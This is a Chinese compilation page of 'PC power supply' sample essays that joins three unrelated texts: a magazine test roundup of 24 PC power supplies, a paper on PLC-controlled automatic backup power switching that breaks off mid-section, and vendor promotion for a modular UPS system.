從本次24款參測(cè)電源來(lái)看，除了極個(gè)別采用差異化設(shè)計(jì)的產(chǎn)品外，絕大多數(shù)產(chǎn)品都能穩(wěn)定地運(yùn)行在ATXl2V規(guī)范要求的范圍內(nèi)。從拆解測(cè)試的情況來(lái)看，做工及用料方面，絕大多數(shù)電源都選用了品質(zhì)較高的元件，所有電源都符合國(guó)家3C強(qiáng)制認(rèn)證要求。

功率因數(shù)，考驗(yàn)的是電源對(duì)市電的利用率。從測(cè)試結(jié)果來(lái)看，總體狀況是比較讓人放心的，在全負(fù)載狀態(tài)下只有少數(shù)幾款電源沒(méi)有到到中標(biāo)節(jié)能認(rèn)證“高于0.73”的要求。此外，采用主動(dòng)式PFC設(shè)計(jì)的電源的功率因數(shù)通常較高，當(dāng)然價(jià)格也普遍比同規(guī)格的被動(dòng)式PFC電源高。

根據(jù)《中華人民共和國(guó)環(huán)境噪聲污染防治法》的規(guī)定，以居住、文教機(jī)關(guān)為主的區(qū)域，晝間噪音低于55dBA、夜間低于45dBA。從測(cè)試成績(jī)來(lái)看噪音控制方面整體表現(xiàn)出色。這也得益于大口徑風(fēng)扇和智能風(fēng)速控制技術(shù)的普及，本次噪音測(cè)試的結(jié)果令人滿意。

待機(jī)功耗問(wèn)題普遍存在

節(jié)能，其內(nèi)容包括功率因數(shù)、轉(zhuǎn)換效率以及待機(jī)功耗等三個(gè)部分。其中，在功率因數(shù)方面，所有的電源產(chǎn)品都是讓人放心的。但是，通過(guò)本次測(cè)試，我們發(fā)現(xiàn)參測(cè)產(chǎn)品在轉(zhuǎn)換效率和待機(jī)功耗方面表現(xiàn)并不令人滿意。

1．達(dá)到優(yōu)秀標(biāo)準(zhǔn)的產(chǎn)品不多

本次參測(cè)電源在轉(zhuǎn)換效率，能夠完美達(dá)到ATXl2V 2.2規(guī)范建議標(biāo)準(zhǔn)的電源只有航嘉多核DH6一款；而在待機(jī)功耗、轉(zhuǎn)換效率及功率因數(shù)方面，能夠完美通過(guò)節(jié)能認(rèn)證的產(chǎn)品也僅7款。從數(shù)量比例來(lái)看，優(yōu)秀的產(chǎn)品并不多，但以“節(jié)能”為賣(mài)點(diǎn)的產(chǎn)品卻不在少數(shù)!有理由相信，這是有欺騙和誤導(dǎo)消費(fèi)者嫌疑的。

2．為什么待機(jī)功耗問(wèn)題嚴(yán)重

在待機(jī)功耗方面，低于中標(biāo)節(jié)能認(rèn)證標(biāo)準(zhǔn)的共有12款，僅占整體的50％，而待機(jī)功耗在3－5W之間的共有10款，而更有甚者超過(guò)了10W。對(duì)于待機(jī)功耗的不重視，已經(jīng)不只是某一家廠商的問(wèn)題了，而是整個(gè)電源行業(yè)都比較普遍，應(yīng)該引起足夠的重視。對(duì)于非個(gè)別現(xiàn)象，我們認(rèn)為其原因主要有三個(gè)方面：

其一，在CPU頻率至上的年代，很多消費(fèi)者都害怕CPU供電不足，用戶購(gòu)買(mǎi)電源時(shí)形成了一個(gè)“功率至上”的觀念，超頻愛(ài)好者和游戲發(fā)燒友更是如此。可是用戶對(duì)于功率大小的過(guò)度關(guān)注，并沒(méi)有隨時(shí)間的變化而發(fā)生轉(zhuǎn)變。

其二，由于各電源廠家的研發(fā)存在差異，研發(fā)能力出色的廠家在同等條件下設(shè)計(jì)出來(lái)的產(chǎn)品自然也更出色；即使設(shè)計(jì)能力相同，電源設(shè)計(jì)理念的不同，做出來(lái)的產(chǎn)品在待機(jī)功耗上也會(huì)存在差異。

其三，由于我國(guó)在電源的待機(jī)功耗上并沒(méi)有任何的強(qiáng)制性規(guī)范，在中標(biāo)節(jié)能認(rèn)證沒(méi)有強(qiáng)制實(shí)行前，電源的待機(jī)功耗尚未引起廠商和消費(fèi)者的足夠重視。

相比之下，由于在3c強(qiáng)制認(rèn)證規(guī)范作用下，電源在功率因數(shù)和轉(zhuǎn)換效率上整體的良好表現(xiàn)，相關(guān)法規(guī)的匱乏是導(dǎo)致廠家普遍不重視待機(jī)功耗的主要原因。

因此，隨著節(jié)能時(shí)代的到來(lái)，我們有足夠的理由相信，節(jié)能認(rèn)證和3C認(rèn)證一樣，將成為一個(gè)強(qiáng)制性規(guī)范。

虛標(biāo)有了新花樣

在國(guó)內(nèi)的電源行業(yè)中，虛標(biāo)已經(jīng)是一個(gè)老掉牙的問(wèn)題了。最先引起人們注意的是功率虛標(biāo)，在那之后，電源行業(yè)曾發(fā)起過(guò)一陣提倡“功率實(shí)標(biāo)”的行動(dòng)。然而，時(shí)至今日，在本次電源橫向評(píng)測(cè)中，虛標(biāo)問(wèn)題依然存在。不同的是，虛標(biāo)更加技術(shù)化和隱蔽化。

1．虛標(biāo)有哪些新花樣

進(jìn)入正題之前，我們先解析一下什么叫“虛標(biāo)”――在現(xiàn)代字典中并沒(méi)有這個(gè)詞組，只能分拆解釋，其中“虛”包含空(即虛無(wú))和不真實(shí)的 (即虛偽)兩層意思； “標(biāo)”則是指記號(hào)、商標(biāo)；合起來(lái)的意思是沒(méi)有記號(hào)和商標(biāo)或者不真實(shí)的記號(hào)和商標(biāo)。而剛才我們所說(shuō)的“功率虛標(biāo)”，就屬于“不真實(shí)的記號(hào)和商標(biāo)”的范疇。那么電源的“虛標(biāo)”還有哪些方式呢?

峰值功率當(dāng)額定功率宣傳

這是目前最為常見(jiàn)的一個(gè)情況，商家在銷(xiāo)售產(chǎn)品的過(guò)程中故意誤導(dǎo)消費(fèi)者，以峰值(最大)功率來(lái)吸引消費(fèi)者，而非介紹電源的額定功率，大多數(shù)消費(fèi)者在對(duì)比功率數(shù)字和價(jià)格后往往為之動(dòng)心。在送測(cè)的電源產(chǎn)品中只標(biāo)明“最大功率”的產(chǎn)品還有不少，甚至包括一些口碑不錯(cuò)的電源廠商。實(shí)際上，業(yè)界對(duì)于這種做法的默認(rèn)頗讓人無(wú)奈。

命名辦式的誤導(dǎo)

事實(shí)上，在型號(hào)命名方面各個(gè)廠商都有自身的習(xí)慣，但產(chǎn)品的命名也可能導(dǎo)致消費(fèi)者的一些誤解。比如，一款電源的額定功率只有250W，但電源的名字或型號(hào)中卻包含了300W或350W字樣，那么消費(fèi)者就很容易被誤導(dǎo)。

電壓和電流參數(shù)虛標(biāo)

通過(guò)電源的銘牌可以獲得很多信息，除了對(duì)額定功率的“執(zhí)著”考究外，還有電壓或者電流的虛標(biāo)可能讓消費(fèi)者防不勝防，因?yàn)檫@樣的虛標(biāo)“技術(shù)含量”更高，沒(méi)有專業(yè)的儀器測(cè)試是很難發(fā)現(xiàn)的。最典型的例子就是，比如某電源的單+12V電流輸出為18A，而銘牌上卻標(biāo)示了雙路12V，并將電流額定輸出值標(biāo)在20A以上。

功率因數(shù)及待機(jī)功耗虛標(biāo)

這種虛標(biāo)方式是在消費(fèi)者對(duì)電源有一定認(rèn)識(shí)之后，對(duì)電源提出了更高的要求后才開(kāi)始流行的一種虛標(biāo)方式。其中，功率因數(shù)虛標(biāo)有兩層意思：一是將其數(shù)值夸大，從而給消費(fèi)者制造一個(gè)高電能利用效率的假象；二是將功率因數(shù)與轉(zhuǎn)換效率混淆，這在功率因數(shù)值很高的主動(dòng)式PFC電源中更加常見(jiàn)，但實(shí)際上兩個(gè)概念是完全不一樣的。

2．為何虛標(biāo)能夠長(zhǎng)期存在

這個(gè)問(wèn)題對(duì)電源廠商而言，是非常敏感的。不過(guò)，就目前的情況來(lái)看，在電源行業(yè)中還普遍存在著不同程度的虛標(biāo)問(wèn)題，造成這樣局面的原因有很多，主要的原因有以下四個(gè)方面：

首先，目前我國(guó)沒(méi)有任何的法律規(guī)范。對(duì)電源產(chǎn)品的參數(shù)進(jìn)行相關(guān)的規(guī)范，而3C強(qiáng)制認(rèn)證更多只是對(duì)產(chǎn)品的安全性做了要求。嚴(yán)格來(lái)說(shuō)，它并不是電源質(zhì)量過(guò)關(guān)的標(biāo)準(zhǔn)。而我國(guó)相關(guān)行政部門(mén)的執(zhí)法力度的不嚴(yán)格，也給了一些不良廠商“打球”留下了空間。

其次，由于電源的技術(shù)門(mén)檻相對(duì)較低，一些比較急功近利的廠商利用消費(fèi)者對(duì)電源知識(shí)的不了解，杜撰出許多虛假的技術(shù)概念誤導(dǎo)消費(fèi)群體，比如將功率因素與轉(zhuǎn)換效率混為一談就是其中的典型。

此外，還有一個(gè)是銷(xiāo)售市場(chǎng)方面的原因，那就是虛標(biāo)之后商家可以多賺錢(qián)，所以一些不法的商給上游的廠家施加壓力，要求虛標(biāo)。

最后一個(gè)原因則是廠商方面的。對(duì)于對(duì)自己產(chǎn)品有信心和對(duì)消費(fèi)者負(fù)責(zé)任的廠商而言，標(biāo)注實(shí)際功率不是問(wèn)題，因?yàn)樗麄儽旧砭褪沁@樣做的。但對(duì)于一些對(duì)自己產(chǎn)品本身可能存在功率不達(dá)標(biāo)，沒(méi)有信心的廠商則可能會(huì)選擇不標(biāo)示實(shí)際功率。

值得一提的是，在上述四個(gè)方面因素是相互影響的，廠家對(duì)虛標(biāo)問(wèn)題敏感是因?yàn)樗麄兲幱谡麄€(gè)關(guān)系網(wǎng)絡(luò)的中心。從我們媒體的角度來(lái)看，他們既是既得利益者，同時(shí)又是受害者，此外還是始作俑者；而作為受害的消費(fèi)者，在某種意義上而言，其實(shí)也是虛標(biāo)問(wèn)題的始作俑者。

因此，要解決這個(gè)問(wèn)題，需要各方面的努力硬配合，也包括媒體的監(jiān)管及傳播力量，這正是我們提出這個(gè)話題的初衷。

一味炒作高電源版本是在誤導(dǎo)消費(fèi)者

而我們本次參加橫向測(cè)試的24款電源產(chǎn)品中，其中有22款為ATXl2V 2.2版，而另外2款則為ATXl2V 1.3版，沒(méi)有ATXl2V 2.0版規(guī)范電源參加本次測(cè)試，所以我們不能通過(guò)數(shù)據(jù)的對(duì)比來(lái)衡量不同的電源版本之間的差異，這給我們回答這個(gè)問(wèn)題帶來(lái)了一定的困難。

1．我們的“自圓其說(shuō)”及專家觀點(diǎn)

從版本的角度，我們可以發(fā)現(xiàn)，ATXl2V 1.3版電源與ATXl2V 2.2版電源在性能方面，比如功率因數(shù)、轉(zhuǎn)換效率、待機(jī)功耗、噪音等方面進(jìn)行對(duì)比，ATXl2V 2.2版電源并不一定比ATXl2V 1.3片反更加強(qiáng)大。當(dāng)然，單從本次測(cè)試結(jié)果就能說(shuō)明“電源品質(zhì)的好壞與版本沒(méi)有必然的聯(lián)系”，理由顯得單薄了一些。但是，對(duì)于我們開(kāi)始時(shí)提到的――認(rèn)為“電源的版本越新，品質(zhì)就會(huì)越好”是一個(gè)錯(cuò)誤的選購(gòu)觀念，現(xiàn)在看來(lái)，至少我們已經(jīng)能夠“自圓其說(shuō)”。

在沒(méi)有更充足的數(shù)據(jù)之前，我們就這個(gè)問(wèn)題采訪了電源的相關(guān)專家，在談到“與之前的版本相比，在低功耗CPU平臺(tái)上，ATXl2V 2.2版電源有何優(yōu)勢(shì)?”這個(gè)問(wèn)題時(shí)，該專家表示，“我們不能簡(jiǎn)單地?cái)喽ǖ桶姹镜碾娫匆欢ū雀甙姹镜碾娫床睿覀冋J(rèn)為‘適用的才是最好的’，因?yàn)殡娫匆?guī)范的演變是與系統(tǒng)平臺(tái)的功耗息息相關(guān)的，而ATXl2V 2.2版電源規(guī)范的出臺(tái)主要是為了應(yīng)對(duì)奔騰DCPU對(duì)+12V電流超過(guò)20A的需求而制定的(此外是增加了+5VSB的輸出)。隨著CPU功耗的降低，ATXl2V 2.2版規(guī)范正逐漸失去在低功耗CPU平臺(tái)上的現(xiàn)實(shí)意義。”與此同時(shí)，我們還采訪了電源行業(yè)的其他專家，得到的答案也基本上是一致的。

2．ATXl2V 2.2版規(guī)范并非王道

從目前的情況來(lái)看，ATXl2V 2.2版電源規(guī)范并沒(méi)有充分考慮顯卡的功耗需求(最突出的表現(xiàn)譬如nVIDIAGeForce 8800高功耗顯卡平臺(tái)推出之后，電源對(duì)顯卡輔助支持的窘迫就一覽無(wú)遺了)，同時(shí)兼顧高速硬盤(pán)與光驅(qū)對(duì)穩(wěn)定電流的需求，以及數(shù)碼外設(shè)產(chǎn)品對(duì)+5VSB的電流供應(yīng)需求。

不可否認(rèn)，Intel推出ATXl2V 2.2版電源規(guī)范的初衷，的確是為了解決不斷增長(zhǎng)的CPU功耗，ATXl2V 2.2版電源規(guī)范的不足，主要表現(xiàn)在沒(méi)有考慮顯卡等其他配件的功耗發(fā)展水平，而且與Intel的產(chǎn)品推廣步伐不一致，奔騰D處理器的推廣現(xiàn)在可以說(shuō)是Intel的一個(gè)敗筆，可嘆的是很多廠商盲目地跟進(jìn)炒作ATXl2V 2.2版，進(jìn)一步誤導(dǎo)了整個(gè)消費(fèi)市場(chǎng)。

另外，比較有意思的是，對(duì)于一直不斷增加的CPU功耗，由于更先進(jìn)制程工藝的到來(lái)，入門(mén)級(jí)電腦的功耗已經(jīng)越來(lái)越低，而在ATXl2V 2.2版規(guī)范中最低的功耗標(biāo)準(zhǔn)只有250W；再加上之前幾乎所有的ATX電源規(guī)范，無(wú)一不是為了解決CPU功耗問(wèn)題而進(jìn)行升級(jí)的，這讓我們有理由懷疑Intel在定制ATX電源規(guī)范時(shí)的初衷。

我們認(rèn)為，作為行業(yè)標(biāo)準(zhǔn)的定制者應(yīng)該全方位地考慮標(biāo)準(zhǔn)實(shí)行后要面臨的所有問(wèn)題，如果一個(gè)標(biāo)準(zhǔn)的推出只是為了解決自家產(chǎn)品的問(wèn)題，為此而讓下游的廠商和終端的消費(fèi)者來(lái)買(mǎi)單的話，這不是一個(gè)領(lǐng)導(dǎo)者該有的風(fēng)范。

3．新的ATXl2V2.3電源規(guī)范已經(jīng)來(lái)臨

所有的跡象表明，現(xiàn)有的電源規(guī)范已經(jīng)開(kāi)始跟不上了行業(yè)發(fā)展的步伐了，將規(guī)范升級(jí)至更高的版本已經(jīng)勢(shì)在必行!在本期橫向評(píng)測(cè)進(jìn)行的過(guò)程中，Intel亞太地區(qū)負(fù)責(zé)電源技術(shù)的工程師帶來(lái)了我們一個(gè)好消息：Inel將在近期最新的ATXl2V 2.3版電源規(guī)范。

我們已經(jīng)于第一時(shí)間拿到了該技術(shù)規(guī)范的白皮書(shū)資料，下期我們將給大家?guī)?lái)新版電源規(guī)范的分析報(bào)告，敬請(qǐng)期待。

我們對(duì)“Vista電源”的定義

根據(jù)微軟制定的《Intel桌面平臺(tái)設(shè)計(jì)指南》和目前用戶對(duì)于配置的普遍要求，我們認(rèn)為一款“Vista”平臺(tái)應(yīng)該具備以下特點(diǎn)：

1．電源必須具備250W以上的額定功率，勝任級(jí)(Vista得分在4分以上)的平臺(tái)最好在300W以上；

2．電源+12V輸出必須達(dá)到14A以上，最好是雙路+12V；如果您是數(shù)碼愛(ài)好者，經(jīng)常需要使用USB接口，電源的+5Vsb輸出應(yīng)該在2.5A以上，而且+5V和+3.3V,總輸出功率最好能夠達(dá)到100W；

3．接口方面，電源主輸出接口必須具備24Pin(或20+4Pin)主電源接口，4Pin處理器供電接口，2個(gè)以上SATA接口，最好能有6Pin顯卡供電接口和8Pin處理器供電接口；

pc電源范文2

【關(guān)鍵詞】備用電源自動(dòng)投入PLC控制自動(dòng)化

隨著科學(xué)技術(shù)水平的不斷提高，現(xiàn)在電力技術(shù)的理論和實(shí)際應(yīng)用范圍也在不斷地拓寬，與此同時(shí)一些大中型工廠和企業(yè)對(duì)供電的質(zhì)量和可靠性有了更高的要求。在很多具有一級(jí)負(fù)荷和重要的二級(jí)負(fù)荷的工廠和企業(yè)中，其發(fā)電廠或變電所通常需要有備用電源自動(dòng)投入裝置，實(shí)現(xiàn)供電系統(tǒng)的自動(dòng)化，以確保電力系統(tǒng)的快速性、可靠性和安全性。

一、對(duì)備用電源自動(dòng)投入裝置的分析

備用電源自動(dòng)投入裝置是當(dāng)主供電電源發(fā)生故障時(shí)，將備用電源在設(shè)定時(shí)間內(nèi)啟動(dòng)或投入，以保障重要設(shè)備電源的供給的自動(dòng)化設(shè)備。

1.1傳統(tǒng)備用電源自動(dòng)投入分析

傳統(tǒng)的備用電源自動(dòng)投入裝置系統(tǒng)是由繼電器和接觸器組成。因其組成結(jié)構(gòu)簡(jiǎn)單、投入成本低，在一些中小型企業(yè)和工廠的供配電系統(tǒng)中很受歡迎。但是也存在著很多缺點(diǎn)：第一、由于傳統(tǒng)的備用電源自動(dòng)投入系統(tǒng)都是由繼電器和接觸器組成，若要組成一套完整的控制系統(tǒng)，在繼電器和接觸器的使用數(shù)量上很大，而過(guò)多的繼電器和接觸器使得系統(tǒng)的體積變得龐大。第二、繼電器和接觸器都是電磁式機(jī)械動(dòng)作，因而系統(tǒng)的動(dòng)作響應(yīng)能力差，繼電器和接觸器的觸點(diǎn)要頻繁地接通和斷開(kāi)動(dòng)作，使得觸點(diǎn)容易出現(xiàn)故障，導(dǎo)致系統(tǒng)的可靠性較低，并且要進(jìn)行大量的維護(hù)和故障的檢修工作，過(guò)多的繼電器和接觸器對(duì)故障的檢修造成了巨大困難。第三、由于系統(tǒng)采用的是純硬件結(jié)構(gòu)，不具備可編程能力，造成系統(tǒng)的開(kāi)發(fā)周期長(zhǎng)。系統(tǒng)不具有通信和監(jiān)控功能，不能使整個(gè)供配電系統(tǒng)有機(jī)地組合為一體，不能適用于對(duì)自動(dòng)化水平要求較高的場(chǎng)合。

1.2新型PLC控制下備用電源自動(dòng)投入分析

新型PLC控制的備用電源自動(dòng)投入控制器完全克服了上述缺點(diǎn)。PLC是可編程序控制器，由CPU、存儲(chǔ)器、輸入輸出電路和功能模塊（如計(jì)數(shù)器、定時(shí)器、通信模塊）組成。通過(guò)采集現(xiàn)場(chǎng)的數(shù)字和模擬量的信息，經(jīng)CPU處理和計(jì)算后，將信息傳送至現(xiàn)場(chǎng)以控制設(shè)備的工作。其具有快速的運(yùn)算能力，可實(shí)現(xiàn)設(shè)備和上位機(jī)通信，可利用圖形化（如順序功能圖、梯形圖、功能模塊圖）和文本化編程，并且具有軟件和硬件的診斷功能。

將其利用到備用電源的自動(dòng)投入裝置上帶來(lái)的優(yōu)點(diǎn)有：第一、可以省去很多的繼電器和接觸器以及線路的連接。由于PLC內(nèi)部具有很多繼電器，完全可以替代實(shí)際的繼電器裝置。第二、采用編程的方法使系統(tǒng)的開(kāi)發(fā)更加快速和簡(jiǎn)便，處理速度快（平均執(zhí)行一條指令的時(shí)間為微秒級(jí)甚至是納秒級(jí)），內(nèi)部的定時(shí)器要比傳統(tǒng)的機(jī)械定時(shí)器精確度高很多。第三、可以通過(guò)預(yù)先規(guī)定好的協(xié)議將信息傳送給其他PLC或者PC機(jī)，以實(shí)現(xiàn)對(duì)系統(tǒng)的監(jiān)控和系統(tǒng)故障的自診斷，并且還可以連接診斷和在線調(diào)試，進(jìn)而確保了系統(tǒng)的穩(wěn)定性和可靠性。第四、由于其是利用程序來(lái)進(jìn)行控制的，在對(duì)系統(tǒng)進(jìn)行維護(hù)和修改時(shí)變得更加快捷和方便，不必像傳統(tǒng)的那樣要更換硬件和更改線路連接，只需要修改程序即可，大大縮短了維護(hù)周期。

1.3備用自動(dòng)投入裝置的控制需滿足的控制要求

（1）當(dāng)主電源由于故障而斷電時(shí)，備用電源必須投入運(yùn)行，但是若備用電源沒(méi)有足夠高的電壓時(shí)，備用電源不能動(dòng)作，而是進(jìn)行相應(yīng)故障的報(bào)警；（2）對(duì)于非故障的電源斷電，如人工操作的切除電源，備用電源不能投入運(yùn)行；（3）備用電源只有在主電源正常工作時(shí)才進(jìn)行充電操作，而當(dāng)其投入運(yùn)行時(shí)不再進(jìn)行充電；（4）當(dāng)主電源斷電故障消除后，主電源投入到工作狀態(tài)，備用電源切除與負(fù)載的連接；（5）當(dāng)系統(tǒng)設(shè)備發(fā)生故障時(shí)，應(yīng)使供電電路立即跳閘并發(fā)出警報(bào)以保證設(shè)備的安全；（6）設(shè)備在切換動(dòng)作時(shí)要具有一定的時(shí)限，以確保與其他保護(hù)裝置的配合。

二、PLC在電網(wǎng)備用自動(dòng)投入的應(yīng)用舉例

圖1為某工廠的電氣主接線圖，從圖中可以看出該系統(tǒng)采用的是內(nèi)橋接線型。

其中通過(guò)電壓互感器1TV和2TV分別檢測(cè)主電源和備用電源的電壓來(lái)確定電源的切換投入動(dòng)作，3TV用來(lái)測(cè)量系統(tǒng)運(yùn)行時(shí)的電壓和功率。

2.1PLC程序控制的要求

正常工作時(shí)，電源1工作，電源2處于備用狀態(tài)；當(dāng)檢測(cè)到1TV電壓低于設(shè)定值時(shí)，利用程序控制1QF斷開(kāi)，接通2QF。同時(shí)監(jiān)控各個(gè)電壓互感器、電流互感器、過(guò)流保護(hù)裝置的狀態(tài)，并根據(jù)具體情況發(fā)出相應(yīng)的警報(bào)。同理，當(dāng)電源2處于工作狀態(tài)時(shí)，在其出現(xiàn)故障時(shí)，2QF斷開(kāi)，1QF接通，將電源1切換到投入狀態(tài)。需要注意的是，各個(gè)斷路器和接觸器動(dòng)作的先后順序和時(shí)間，如果出現(xiàn)錯(cuò)誤可能導(dǎo)致系統(tǒng)發(fā)生短路，造成設(shè)備的燒毀或觸電事故。

2.2根據(jù)需求選擇PLC

目前我國(guó)主要流行的PLC產(chǎn)品生產(chǎn)廠家主要有德國(guó)西門(mén)子（Siemens）、日本三菱（MITSUBISHI）和歐姆龍（OMRON）、法國(guó)的施耐德（AEG Schneider）、美國(guó)的A-B（Allen-Bradley）、臺(tái)達(dá)等。在選擇PLC的類型時(shí)，要根據(jù)性價(jià)比最優(yōu)的原則進(jìn)行選擇。這里在選擇時(shí)根據(jù)工廠的規(guī)模和成本，依據(jù)性價(jià)比選擇三菱系列PLC。

在確定PLC的型號(hào)之后，還要根據(jù)以下幾點(diǎn)選出具體的型號(hào)：（1）數(shù)字量和模擬量的輸入和輸出點(diǎn)數(shù)。經(jīng)過(guò)該系統(tǒng)的統(tǒng)計(jì)后，計(jì)算出數(shù)字量輸入點(diǎn)數(shù)為27，數(shù)字量輸出點(diǎn)數(shù)為19，模擬量輸入點(diǎn)數(shù)為5。此外在實(shí)際應(yīng)用時(shí)要考慮一定的裕量，按照經(jīng)驗(yàn)一般取10%的裕量進(jìn)行選擇。程序輸入的PLC數(shù)字量輸入點(diǎn)數(shù)為30，數(shù)字量輸出點(diǎn)數(shù)為22，模擬量輸入點(diǎn)數(shù)為6。（2）PLC負(fù)載能力分析。當(dāng)PLC在插入其他輸入輸出模塊時(shí)，必須要考慮PLC的負(fù)載能力。PLC內(nèi)部有5VDC電源供電，不同型號(hào)的CPU所能提供的最大擴(kuò)展電流不同。經(jīng)統(tǒng)計(jì)該系統(tǒng)所有繼電器和斷路器的工作電流總和約1000mA。另外，如果不考慮PLC負(fù)載能力，可采用外加電源的方式。（3）PLC所具有的功能模塊。根據(jù)系統(tǒng)的設(shè)計(jì)條件，PLC應(yīng)具有計(jì)數(shù)器、定時(shí)器等。然而一般的PLC都具有此功能模塊，此情況可以不用考慮。

依據(jù)以上幾點(diǎn)考慮情況，最終確定的PLC型號(hào)為三菱FX2N系列的FX2N-64RM+FX2N-8AD，共計(jì)輸入點(diǎn)數(shù)為32，數(shù)字量輸出點(diǎn)數(shù)為32，模擬量輸入點(diǎn)數(shù)為8。

2.3電路的硬件設(shè)計(jì)

由于該工廠對(duì)于抗干擾的要求較高，在這里采用220VDC對(duì)PLC進(jìn)行供電可以避免交流諧波信號(hào)對(duì)系統(tǒng)造成的干擾，以保證PLC的正常工作；對(duì)于傳輸線路采用屏蔽雙絞線。模擬信號(hào)和數(shù)字信號(hào)之間采用光藕隔離技術(shù)；并且要具有必要的過(guò)壓、失壓保護(hù)，過(guò)電流和短路保護(hù)；避免接地故障可以采用TT型保護(hù)。

2.4PLC程序的設(shè)計(jì)

根據(jù)系統(tǒng)的設(shè)計(jì)要求，所編寫(xiě)程序應(yīng)具有的功能：將電壓互感器和電流互感器上的電壓和電流信號(hào)轉(zhuǎn)換為數(shù)字信號(hào)，并與預(yù)訂值進(jìn)行比較，確定系統(tǒng)當(dāng)前的運(yùn)行狀態(tài)（如正常運(yùn)行、失壓、過(guò)流、短路）；根據(jù)采樣取得的數(shù)據(jù)信息進(jìn)行處理，控制相應(yīng)的斷路器、接觸器、繼電器、各種開(kāi)關(guān)以及各種信號(hào)指示燈；將系統(tǒng)的各種狀態(tài)信息傳輸給監(jiān)控室的上位機(jī)，使相關(guān)技術(shù)人員準(zhǔn)確掌握系統(tǒng)的運(yùn)行狀態(tài)，以確保系統(tǒng)的安全與可靠；能夠完成對(duì)一些故障的自動(dòng)處理能力。

在編寫(xiě)程序之前，要根據(jù)系統(tǒng)的各個(gè)輸入輸出對(duì)PLC進(jìn)行地址分配，然后編寫(xiě)初始化代碼以完成對(duì)系統(tǒng)數(shù)據(jù)的初始化，最后編寫(xiě)主程序和中斷服務(wù)程序以完成對(duì)系統(tǒng)的控制。由于篇幅有限，現(xiàn)附上部分主要的自動(dòng)投入過(guò)程的程序梯形圖（圖2）作為參考。

2.5聯(lián)機(jī)調(diào)試、運(yùn)行

pc電源范文3

綠色環(huán)保節(jié)能設(shè)計(jì)

憑借數(shù)十年積累的豐富經(jīng)驗(yàn)，結(jié)合先進(jìn)的設(shè)計(jì)理念，意大利先控不斷創(chuàng)新產(chǎn)品，滿足市場(chǎng)和用戶不斷變化的需求。為了拓展中國(guó)以及亞洲的新興市場(chǎng)，意大利先控把綠色電源模塊化UPS產(chǎn)品的生產(chǎn)基地定在了中國(guó)，旨在更好地貼近和服務(wù)亞洲市場(chǎng)。

據(jù)統(tǒng)計(jì)，由電源污染導(dǎo)致的用電設(shè)備故障占整體故障的60%以上，而電力污染源中真正由公網(wǎng)供電帶來(lái)的污染不到5%，其主要污染是來(lái)源于內(nèi)部電力使用者，所以倡導(dǎo)全社會(huì)創(chuàng)建綠色電力能源，是每一個(gè)企業(yè)及用電者應(yīng)承擔(dān)的社會(huì)責(zé)任和義務(wù)。

意大利先控緊隨國(guó)際產(chǎn)業(yè)發(fā)展潮流，率先倡導(dǎo)和鼓勵(lì)產(chǎn)品綠色節(jié)能環(huán)保。從產(chǎn)品研發(fā)到產(chǎn)品的整個(gè)生命周期，全面考慮用戶的利益和對(duì)環(huán)境的影響。先控最新推出的新一代模塊化系統(tǒng)，率先采用了“模塊休眠技術(shù)”及“內(nèi)置分配電系統(tǒng)”，大大提升了節(jié)能環(huán)保的效果，具備同行業(yè)領(lǐng)先水平。整個(gè)系統(tǒng)體積小、噪音低、配置靈活、維修方便，特別是與傳統(tǒng)UPS相比輸入電流諧波低、輸入功率因數(shù)大，整機(jī)效率大大提高，是一款真正意義上的節(jié)能環(huán)保新產(chǎn)品，也成為符合國(guó)際潮流和滿足綠色環(huán)保理念的市場(chǎng)主流產(chǎn)品。

產(chǎn)品特點(diǎn)

先控模塊化UPS系統(tǒng)，由顯示通訊模塊、靜態(tài)開(kāi)關(guān)以及最多可由36個(gè)UPS功率模塊構(gòu)成。各模塊之間均是智能獨(dú)立運(yùn)行，除了包含傳統(tǒng)UPS的整流、濾波、充電、逆變器裝置外，還采用了平均電流控制整流技術(shù)、同步控制技術(shù)和三階正弦波逆變的新型技術(shù)。即使顯示通訊模塊、靜態(tài)開(kāi)關(guān)故障，UPS模塊也可以維持正常輸出，而不會(huì)出現(xiàn)停機(jī)的狀況。各UPS模塊可隨意熱插拔在線更換，按照客戶需求來(lái)增加模塊數(shù)量，構(gòu)成N+X的冗余配置。UPS機(jī)柜中的所有功率模塊平均負(fù)擔(dān)系統(tǒng)負(fù)載，各并聯(lián)模塊皆為內(nèi)置冗余的智能型獨(dú)立個(gè)體，無(wú)需監(jiān)控單元對(duì)并聯(lián)系統(tǒng)集中控制。任何模塊發(fā)生故障后（包括監(jiān)控單元），它的冗余設(shè)計(jì)便會(huì)充分發(fā)揮效用，全面保障設(shè)備正常運(yùn)轉(zhuǎn)，最大限度地實(shí)現(xiàn)故障冗余，同時(shí)用戶可根據(jù)需要選擇超過(guò)一次容錯(cuò)率的冗余。系統(tǒng)借助功能強(qiáng)大的監(jiān)控單元，全面獨(dú)到的雙向互動(dòng)式監(jiān)控技術(shù)，可自動(dòng)對(duì)電池組進(jìn)行均浮充轉(zhuǎn)換和限流充電，并設(shè)置均浮充電壓和充電限流值，同時(shí)具備溫度補(bǔ)償和自放電檢測(cè)功能，可協(xié)助客戶全面掌控系統(tǒng)運(yùn)行狀況，靈活方便快捷地對(duì)系統(tǒng)危機(jī)做出即時(shí)處理。配合每個(gè)功率模塊內(nèi)部專門(mén)設(shè)置的充電整流器，可靠性高，無(wú)高頻雜波，避免高頻波對(duì)電池壽命的影響，避免電池在充電時(shí)過(guò)熱，延長(zhǎng)了電池的使用壽命。智能化的冗余設(shè)計(jì)，不僅減少了系統(tǒng)本身和負(fù)載的風(fēng)險(xiǎn)系數(shù)，而且使外部負(fù)載受UPS保護(hù)時(shí)間全面延長(zhǎng)。

